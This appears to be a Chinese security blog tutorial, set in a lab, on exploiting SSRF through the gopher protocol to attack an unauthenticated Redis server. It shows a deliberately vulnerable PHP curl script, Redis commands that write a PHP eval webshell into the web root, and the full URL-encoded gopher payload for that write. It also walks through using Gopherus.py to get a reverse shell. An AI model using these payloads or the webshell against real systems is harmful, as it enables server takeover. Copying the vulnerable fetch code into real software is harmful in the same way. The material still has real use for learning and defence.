标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2506]   作者: hudie 发表于: [2019-11-16]

本文共 [343] 位读者顶过

0×00 前言

SSRF(服务器端请求伪造)漏洞是一种由攻击者构造形成由服务端发起请求的一个安全漏洞,话不多说,看文章。

0×01 环境搭建

Centos 靶机

Kali攻击机

Lnmp [文中会介绍安装]

Redis[文中会介绍安装]

Gopherus.py [https://github.com/tarunkant/Gopherus]

[出自:jiwo.org]

目标站点源码

1 <?php

2 $aa = @$_REQUEST['url'];

3 $ch = curl_init();

4 curl_setopt($ch,CURLOPT_URL,$aa);

5 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

6 curl_setopt($ch,CURLOPT_HEADER,0);

7 $output = curl_exec($ch);

8 echo $output;

9 if($output === FALSE ){

10 echo "CURL Error:".curl_error($ch);

11 }

12 curl_close($ch);?>


0x02 正文

我们先开始介绍下我们这篇文章的主角,gopher协议。Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。随着HTTP协议的壮大,Gopher协议已经慢慢的淡出了我们的视线,但是Gopher协议很多组件都支持并且可以做很多事,在SSRF中,Gopher协议可以对FTP、Telnet、Redis、Memcache、mysql进行攻击,也可以发送GET、POST 请求。

 

那么Gopher协议需要如何构造?其实这个协议和http协议很类似,只不过gopher协议没有默认端口,需要特殊指定,而且需要指定POST方法,回车换行需要使用%0d%0a,而且POST参数之间的&分隔符也需要URL编码

 

我们来看看Gopher协议的基本协议格式gopher://<host>:<port>/<gopher-path>_后接TCP数据流

 

那么我们试试看Gopher协议最经典的攻击方式,很多服务默认都不会在公网开启,一般都是仅仅允许本地访问,例如Redis,Redis因为配置不当会造成未授权访问,攻击者可以读取敏感信息,写入文件(不知道的同学可以去补一下这块的知识)因为gopher协议传参方式是TCP数据流,那么我们可以尝试使用tcpdump或者直接使用Wireshark进行捕捉TCP的传输。我们现在攻击机上安装一个redis【安装方法有很多,可以用wget安装,也可以用apt-get安装】【可以参考https://www.cnblogs.com/langtianya/p/5187681.html】我因为是Kali直接apt-get搞定的,安装成功后会出现这个开心页面的页面



然后我们再开一个窗口,输入redis-cli [进入redis的终端],然后输出ping 如果返回PONG 那么就是成功了。



然后我们再进行一些Redis未授权访问的攻击,其中危害最大的莫过于是直接写入Webshell和利用计划任务执行命令反弹shell,这个命令一般Centos容易复现。我们打开我们的抓包工具。

我这里用Wireshark吧。我们先让他去抓lo这个网卡

然后去执行Redis的恶意语句。

1 config set dir /home/wwwroot/default/

2 config set dbfilename "shell.php"

3 set gaia "<?php eval($_POST[a]);?>"

4 save

5 exit


/home/wwwroot/default是网站的根目录,这个可以根据网页报错找到,也可以使用file:///协议去读取敏感文件去获取网站根目录。[如果第一条执行不了,可能是你的攻击机器没有这个目录,创建一下就行]




成功写入了webshell然后我们执行完之后打开Wireshark然后右键追踪流里面,有个TCP流,里面感觉有很多数据,不要害怕,记得去选中我们发送过去的数据【因为我们Redis有数据回显】


然后将获得的数据复制下来,并对其进行处理。先进行一次URL编码,然后把每一个换行用%0d%0a代替转码出来的%0a,记得要把?替换为%3f,再将这个东西再加上gopher的前缀进行执行。然后将每一个换行用%0d%0a代替转码出来的%0a,记得要把?替换为%3f 然后我们将这个东西再加上gopher的前缀进行执行。

1 gopher://127.0.0.1:6379/*1%0D%0A$7%0D%0ACOMMAND%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$22%0D%0A/home/wwwroot/default/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$4%0D%0Agaia%0D%0A$24%0D%0A%3C%3fphp%20eval($_POST%5Ba%5D);%3f%3E%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A


执行后,就会在根目录生成shell.php

好不容易拿了一个Webshell,这样子真的是异常的麻烦,于是乎有前辈写过一个脚本,gopherus.py,在github可以下载。[这个工具支持多种Gopher协议生成攻击代码](LINUX Redis计划任务反弹shell)自动化脚本使用及安装过程:

我们选中redis模块[python gopherus.py --exploit redis]

然后很贴心的问我要webshell还是反弹shell,然后让我们写接受反弹shell的Ip


监听1234端口



成功获得反弹Shell,不需要各种抓包、转码多开心。


Gopherus.py还支持几种未授权访问的方法,总的来说还不错。可以都去试一试,很多非加密访问的未授权访问都可以尝试使用Gopher协议去尝试利用!


0×03 总结

    Gopher协议可攻击的范围还有很多,后续会找机会再做更新。

评论

暂无
发表评论
 返回顶部 
热度(343)
 关注微信